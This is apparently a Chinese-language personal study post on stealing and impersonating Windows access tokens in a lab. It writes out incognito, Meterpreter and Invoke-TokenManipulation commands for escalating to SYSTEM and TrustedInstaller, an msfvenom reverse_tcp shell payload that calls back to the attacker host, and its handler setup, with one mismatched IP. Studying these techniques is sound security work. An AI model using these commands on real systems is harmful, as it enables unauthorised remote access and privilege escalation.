0x01 emmm
很早之前看到的推送,关于token窃取和利用的相关文章,包含了常用的工具,和一些技巧,最近忙完考试开始整理学习一下
https://mp.weixin.qq.com/s/cOws1noDgaw_UUK29tmFeA
0x02 Token 简介
在windows中token有两种类型:
- Delegation token(授权令牌):用于交互会话登陆(例如本地用户登录和远程桌面登陆)
- Impersonation token(模拟令牌):用于非交互登陆(例如利用net use访问共享文件夹)
这两种token都只能在系统重启后清除
具有授权令牌的用户在注销后,token会变成模拟令牌,仍然有效
使用incognito在win server 2008上进行测试
.\incognito.exe list_tokens -u
在这里看到了five用户,利用该用户toke执行calc.exe
incognito.exe execute -c "TEST\a" calc.exe
0x03 Metasploit中的incognito
常用命令
加载incognito | load incognito |
---|---|
列举token | list_tokens -u |
查看当前token | getuid |
提示至system权限 | getsystem |
token窃取 | impersonate_token “NT AUTHORITY\SYSTEM” |
从进程窃取 | steal_token 1252 |
返回之前token | rev2self or drop_token |
这里两台机器
Kali:192.168.217.140
Win server 2008 : 192.168.217.141
首先在kali中生成一个payload,在win中执行,得到一个shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.140 LPORT=44444 X >test.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.140
exploit
get到一个shell后,加载incognito
load incognito
列举token:list_tokens -u
查看当前token:getuid
提升到system权限
token窃取
从进程窃取token
通过ps找到一个进程
执行:steal_token 860
0x04 Windows平台下的incognito
msf中的incognito本身就是从win中移植过去的,其实大部分操作命令都差不多
常见用法:
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options] <token> <command>
比如现在我们是Administrator
我们将其提权至SYSTEM并创建一个cmd
当然也可以降权到Administrator
0x05 Invoke-TokenManipulation.ps1用法
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同incognito类似,能够实际提权和降权
列举token:Invoke-TokenManipulation -Enumerate
提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
0x06 利用token获得TrustedInstaller权限
在windows中,最高的权限为TrustedInstaller,只有这个权限才能够在一些系统路径中进行操作,比如C:\Windows\servicing,SYSTEM没有写入权限,只有TrustedInstaller才有
我们先启动一个TrustedInstaller服务,查看它的Owner
在kali获取到的shell中获取到TrustedInstaller.exe的Token
写一个文件验证,成功写入
这里我只尝试了一种方法,原链接还提到了其他的方法就不尝试了(懒)~